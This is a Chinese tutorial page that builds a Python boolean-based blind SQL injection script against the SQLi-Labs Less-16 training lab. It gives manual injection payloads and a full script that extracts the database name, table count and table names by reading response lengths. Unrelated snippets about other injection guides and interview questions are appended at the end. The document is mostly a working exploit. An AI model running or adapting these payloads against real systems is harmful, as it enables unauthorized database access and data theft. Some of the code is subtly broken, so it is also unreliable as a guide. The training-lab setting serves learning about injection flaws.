结合手工注入编写一个SQL盲注脚本——以SQLi-Labs less16为例
一、分析测试注入点

1") or 1=1 -- #


1") or 1=1 -- #
二、获取数据库名编写脚本
1") or length(database())=8 -- #

# -*- coding: utf-8 -*-
import requests url = "http://192.168.40.128:86/Less-16/"
headers = {
'Host' :'192.168.40.128:86',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
#'Content-Length': '39',
'Origin': 'http://192.168.40.128:86',
'Connection': 'close',
'Referer': 'http://192.168.40.128:86/Less-16/',
'Cookie': 'PHPSESSID=0lj1jpdj1en2s07g1l3fm12jb0',
'Upgrade-Insecure-Requests': '1'
}
data = {
'uname':'admin',
'passwd':'adminpass',
'submit':'Submit'
} #获取数据库名的长度
def get_database_length():
print("[-] Start getting the database name length:")
for i in range(20):
data_database_L = {
'uname':'") or length(database())=' + str(i) + " #",
'passwd':'adminpass',
'submit':'Submit'
}
r_database_length = requests.post(url=url, data=data_database_L, allow_redirects=False)
""" print(r_database_length.headers["Content-Length"])
print(type(r_database_length.headers["Content-Length"])) """
if r_database_length.headers["Content-Length"] == str(943):
print("[*] current database length: {}".format(i))
return i #获取当前数据库的名称
def get_database_name(r_database_length):
r_database_length = database_length
#使用left()函数,即从左边第一个字符开始猜解
database_name = ''
print(' ')
print("[-] Start getting the database name:")
for i in range(1, r_database_length + 1):
for j in 'qwertyuiopasdfghjklzxcvbnm0123456789@':
#构造Payload
payload = '1") or left(database(), ' + str(i) + ")='" + database_name + str(j) + "' -- #"
#print(passwd)
data_database_name = {
'uname':'1',
'passwd':payload,
'submit':'Submit'
}
#逐个请求构造好的Payload
r_database_name = requests.post(url=url, data=data_database_name, allow_redirects=False)
#若响应数据包的Content-Length字段值为943,则猜解下一个字段,拼接正确的字段
if r_database_name.headers["Content-Length"] == str(943):
database_name += str(j)
print("[+] {}".format(database_name))
break
print("[*] The database name is: {}".format(database_name))
return database_name
#测试
database_length = get_database_length()
database_name = get_database_name(database_length)

三、获取数据库表的数量
1") and (select count(*) from information_schema.tables where table_schema='security')>1 -- #

#获取数据库表的数量
def get_database_tables_count(r_database_name):
r_database_name = database_name
print(' ')
print("[-] Start getting the number of databases:")
for i in range(1,99):
#构造获取数据库数量的Payload
payload = '1") or (select count(*) from information_schema.tables where table_schema=' + "'" + database_name +"')=" + str(i) +" -- #"
data_database_name = {
'uname':'1',
'passwd':payload,
'submit':'Submit'
}
r_database_count = requests.post(url=url, data=data_database_name, allow_redirects=False)
if r_database_count.headers["Content-Length"] == str(943):
print("[*] The current number of database tables is: {}".format(i))
return i
#测试
database_length = get_database_length()
database_name = get_database_name(database_length)
database_count = get_database_tables_count(database_name)

四、获取数据库表名的长度
1") or length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))>1 -- #

#获取表名的长度
def get_database_tables_name_length(r_database_name,r_database_tables_count):
r_database_name = database_name
r_database_tables_count = database_tables_count
tables_name_length_list = []
print(' ')
print("[-] Start getting the database tables name length:")
#根据表的数量逐个猜解表名的长度
for i in range(0,r_database_tables_count+1):
for j in range(20):
#'1") or length(substr((select table_name from information_schema.tables where table_schema=' + "'" +r_database_name +"' limit 0,1)," + str(i) + "))=" + str(j) + " -- #"
payload = '1") or length(substr((select table_name from information_schema.tables where table_schema=' + "'" +r_database_name +"' limit " +str(i) + ",1)," + str(i+1) + "))=" + str(j) + " -- #"
data_database_L = {
'uname':payload,
'passwd':'adminpass',
'submit':'Submit'
}
r_database_tables_name_lemgth = requests.post(url=url, data=data_database_L, allow_redirects=False)
if r_database_tables_name_lemgth.headers["Content-Length"] == str(943):
print("[*] The length of the database table name is: {}".format(j))
tables_name_length_list = tables_name_length_list.append(j)
return tables_name_length_list

五、获取表名
1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97 -- #

#获取数据库表名
def get_database_tables_name():
r_database_count = database_tables_count
r_database_name = database_name
r_tables_name_length = tables_name_length
database_tables_name = ''
tables_name_list = []
print(' ')
print("[-] Start getting the database table name:")
for i in range(0,r_database_count):
for k in range(1,r_tables_name_length[i]+1):
for j in range(33,127):
#1") or length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=0 -- #
#1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97 -- #
# '1") or ascii(substr((select table_name from information_schema.tables where table_schema' + "='" + r_database_name + "' limit " + str(i) + ",1)," + str(k) + ",1))=" + j + " -- #"
payload = '1") or ascii(substr((select table_name from information_schema.tables where table_schema' + "='" + r_database_name + "' limit " + str(i) + ",1)," + str(k) + ",1))=" + str(j) + " -- #"
data_database_name = {
'uname':'1',
'passwd':payload,
'submit':'Submit'
}
r_tables_name = requests.post(url=url,data=data_database_name,allow_redirects=False)
if r_tables_name.headers["Content-Length"] == str(943):
database_tables_name += chr(j)
print("[+] {}".format(database_tables_name))
break
#把获取到的表名加入列表tables_name_list
print("[*] The current table name is: {}".format(database_tables_name))
tables_name_list.append(database_tables_name)
#清空database_tables_name,继续获取下一个表名
database_tables_name = ''
print("[*] The table name of the current database: {}".format(tables_name_list))
return tables_name_list

六、结尾
1、获取表的列名和获取表名的思路、逻辑是一样的,怎么获取表名都已经写出来了,如果怎么获取列名和数据都还不会的话,那就再去好好补一下SQL基础吧
2、此脚本是布尔盲注,延时盲注的逻辑和思路是一样的,只需要把Payload改成延时语句,把响应判断条件改成对应的延时判断就可以了
3、实战请在获得授权的前提下进行,且勿进行非法攻击!
4、最后,附上完整的脚本代码
# -*- coding: utf-8 -*-
from aiohttp import payload_type
import requests
from responses import target url = "http://192.168.40.128:86/Less-16/"
headers = {
'Host' :'192.168.40.128:86',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
#'Content-Length': '39',
'Origin': 'http://192.168.40.128:86',
'Connection': 'close',
'Referer': 'http://192.168.40.128:86/Less-16/',
'Cookie': 'PHPSESSID=0lj1jpdj1en2s07g1l3fm12jb0',
'Upgrade-Insecure-Requests': '1' }
data = {
'uname':'admin',
'passwd':'adminpass',
'submit':'Submit'
} """ r = requests.post(url=url, headers=headers, data=data, allow_redirects=False)
print(r.headers['Content-Length']) """ #获取数据库名的长度
def get_database_length():
print("[-] Start getting the database name length:")
for i in range(20):
data_database_L = {
'uname':'") or length(database())=' + str(i) + " #",
'passwd':'adminpass',
'submit':'Submit'
}
""" print(data_database_L) """
r_database_length = requests.post(url=url, data=data_database_L, allow_redirects=False)
""" print(r_database_length.headers["Content-Length"])
print(type(r_database_length.headers["Content-Length"])) """
if r_database_length.headers["Content-Length"] == str(943):
print("[*] current database length: {}".format(i))
return i
#测试
#database_length = get_database_length()
#print(type(database_length)) #获取当前数据库的名称
def get_database_name():
r_database_length = database_length
#使用left()函数,即从左边第一个字符开始猜解
database_name = ''
print(' ')
print("[-] Start getting the database name:")
for i in range(1, r_database_length + 1):
for j in 'qwertyuiopasdfghjklzxcvbnm0123456789@':
#构造Payload
payload = '1") or left(database(), ' + str(i) + ")='" + database_name + str(j) + "' -- #"
#print(passwd)
data_database_name = {
'uname':'1',
'passwd':payload,
'submit':'Submit'
}
#逐个请求构造好的Payload
r_database_name = requests.post(url=url, data=data_database_name, allow_redirects=False)
#print(r_database_name.headers["Content-Length"])
#若响应数据包的Content-Length字段值为943,则猜解下一个字段,拼接正确的字段,这里根据实际情况修改
if r_database_name.headers["Content-Length"] == str(943):
database_name += str(j)
print("[+] {}".format(database_name))
break
print("[*] The database name is: {}".format(database_name))
return database_name #获取数据库表的数量
def get_database_tables_count():
r_database_name = database_name
print(' ')
print("[-] Start getting the number of databases:")
for i in range(1,99):
#构造获取数据库数量的Payload
payload = '1") or (select count(*) from information_schema.tables where table_schema=' + "'" + r_database_name +"')=" + str(i) +" -- #"
data_database_name = {
'uname':'1',
'passwd':payload,
'submit':'Submit'
}
r_database_count = requests.post(url=url, data=data_database_name, allow_redirects=False)
if r_database_count.headers["Content-Length"] == str(943):
print("[*] The current number of database tables is: {}".format(i))
return i #获取表名的长度
def get_database_tables_name_length():
r_database_name = database_name
r_database_tables_count = database_tables_count
tables_name_length_list = []
print(' ')
print("[-] Start getting the database tables name length:")
#根据表的数量逐个猜解表名的长度
for i in range(0,r_database_tables_count+1):
for j in range(20):
#1") or length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=0 -- #
#'1") or length(substr((select table_name from information_schema.tables where table_schema=' + "'" +r_database_name +"' limit 0,1)," + str(i) + "))=" + str(j) + " -- #"
payload = '1") or length(substr((select table_name from information_schema.tables where table_schema=' + "'" +r_database_name +"' limit " +str(i) + ",1)," + str(i+1) + "))=" + str(j) + " -- #"
data_database_L = {
'uname':payload,
'passwd':'adminpass',
'submit':'Submit'
}
r_database_tables_name_lemgth = requests.post(url=url, data=data_database_L, allow_redirects=False)
if r_database_tables_name_lemgth.headers["Content-Length"] == str(943):
print("[*] The length of the database table name is: {}".format(j))
tables_name_length_list.append(j)
break
#print(tables_name_length_list)
""" for n in range(0,database_tables_count):
print(tables_name_length_list[n]) """
return tables_name_length_list #获取数据库表名
def get_database_tables_name():
r_database_count = database_tables_count
r_database_name = database_name
r_tables_name_length = tables_name_length
database_tables_name = ''
tables_name_list = []
print(' ')
print("[-] Start getting the database table name:")
for i in range(0,r_database_count):
for k in range(1,r_tables_name_length[i]+1):
for j in range(33,127):
#1") or length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=0 -- #
#1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97 -- #
# '1") or ascii(substr((select table_name from information_schema.tables where table_schema' + "='" + r_database_name + "' limit " + str(i) + ",1)," + str(k) + ",1))=" + j + " -- #"
payload = '1") or ascii(substr((select table_name from information_schema.tables where table_schema' + "='" + r_database_name + "' limit " + str(i) + ",1)," + str(k) + ",1))=" + str(j) + " -- #"
data_database_name = {
'uname':'1',
'passwd':payload,
'submit':'Submit'
}
r_tables_name = requests.post(url=url,data=data_database_name,allow_redirects=False)
#print(r_tables_name)
if r_tables_name.headers["Content-Length"] == str(943):
database_tables_name += chr(j)
print("[+] {}".format(database_tables_name))
#tables_name_list.append(database_tables_name)
break
#把获取到的表名加入列表tables_name_list
print("[*] The current table name is: {}".format(database_tables_name))
tables_name_list.append(database_tables_name)
#清空database_tables_name,继续获取下一个表名
database_tables_name = ''
print("[*] The table name of the current database: {}".format(tables_name_list))
return tables_name_list #测试
database_length = get_database_length()
database_name = get_database_name()
database_tables_count = get_database_tables_count()
tables_name_length = get_database_tables_name_length()
get_database_tables_name()
结合手工注入编写一个SQL盲注脚本——以SQLi-Labs less16为例的更多相关文章
- 如何编写一个SQL注入工具
0x01 前言 一直在思考如何编写一个自动化注入工具,这款工具不用太复杂,但是可以用最简单.最直接的方式来获取数据库信息,根据自定义构造的payload来绕过防护,这样子就可以. 0x02 SQL注 ...
- SQL手工注入漏洞测试(Sql Server数据库)
还是先找到注入点,然后order by找出字段数:4 通过SQL语句中and 1=2 union select 1,2,3……,n联合查询,判断显示的是哪些字段,就是原本显示标题和内容时候的查询字段. ...
- 一个sql盲注小工具 (Golang版)
并发,二分法判断. 源码写的有点垃圾,有点乱,结果也存在一些缺失. 记录: sql:select distinct 中的distinct选项,这是只会获取你表中不重复数据,是表中,而不是你一次sql执 ...
- 手把手教你基于SqlSugar4编写一个可视化代码生成器(生成实体,以SqlServer为例,文末附源码)
在开发过程中免不了创建实体类,字段少的表可以手动编写,但是字段多还用手动创建的话不免有些浪费时间,假如一张表有100多个字段,手写有些不现实. 这时我们会借助一些工具,如:动软代码生成器.各种ORM框 ...
- (后端)sql手工注入语句&SQL手工注入大全(转)
转自脚本之家: 看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) f ...
- 最新SQL手工注入语句&SQL注入大全
看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) from syso ...
- 小白日记42:kali渗透测试之Web渗透-SQL盲注
SQL盲注 [SQL注入介绍] SQL盲注:不显示数据库内建的报错信息[内建的报错信息帮助开发人员发现和修复问题],但由于报错信息中提供了关于系统的大量有用信息.当程序员隐藏了数据库内建报错信息,替换 ...
- SQL盲注工具BBQSQL
SQL盲注工具BBQSQL SQL注入是将SQL命令插入到表单.域名或者页面请求的内容中.在进行注入的时候,渗透测试人员可以根据网站反馈的信息,判断注入操作的结果,以决定后续操作.如果网站不反馈具 ...
- Kali学习笔记42:SQL手工注入(4)
前三篇文章都是在讲发现SQL注入漏洞 如何查询得到所有的信息 那么另一条思路还未尝试过:能否修改数据? 例如这样: '; update users set user='yiqing' where us ...
随机推荐
- 关于http,测试面试官最爱问哪些?
http和https的区别是什么? HTTP 是一种 超文本传输协议(Hypertext Transfer Protocol),而 HTTPS 的全称是 Hypertext Transfer Prot ...
- Net中委托之二多播委托
本篇主要讲解多播委托 1.多播委托的实例 public class MyDelegate { private delegate int NoParameterWithReturn();//1.声明委托 ...
- [第四届世安杯](web)writeup
ctf入门级题目 <?php $flag = '*********'; if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9] ...
- 域渗透 | kerberos认证及过程中产生的攻击
文章首发于公众号<Z2O安全攻防> 直接公众号文章复制过来的,排版可能有点乱, 可以去公众号看. https://mp.weixin.qq.com/s/WMGkQoMnQdyG8UmS ...
- 企业应用架构研究系列二:MSF&Scrum 项目管理
从业软件项目这么多年,在企业应用开发项目中,项目能否成功,是否能按照项目计划有效的推进,是有很强的一套项目管理理论.最早的时候,接触的项目管理的方法论就是微软的MSF(Microsoft Soluti ...
- 文件下载文件名包含中文时,乱码的处理方法(url编解码)
utf-8/gbk编码 "中"这个汉子的utf-8编码为:E4B8AD gbk编码为:D6D0 urlencode 经过urlencode编码后, %E4%B8%AD %D6%D0 ...
- DispatcherServlet?
Spring的MVC框架是围绕DispatcherServlet来设计的,它用来处理所有的HTTP请求和响应.
- Java 中会存在内存泄漏吗,请简单描述?
理论上 Java 因为有垃圾回收机制(GC)不会存在内存泄露问题(这也是 Java 被 广泛使用于服务器端编程的一个重要原因):然而在实际开发中,可能会存在无 用但可达的对象,这些对象不能被 GC 回 ...
- 在虚拟机里面安装mysql
https://dev.mysql.com/downloads/repo/yum/ 首先到网站里面下载 mysql80-community-release-el7-3.noarch.rpm 通过xft ...
- Serial 与 Parallel GC 之间的不同之处?
Serial 与 Parallel 在 GC 执行的时候都会引起 stop-the-world.它们之间主要 不同 serial 收集器是默认的复制收集器,执行 GC 的时候只有一个线程,而 para ...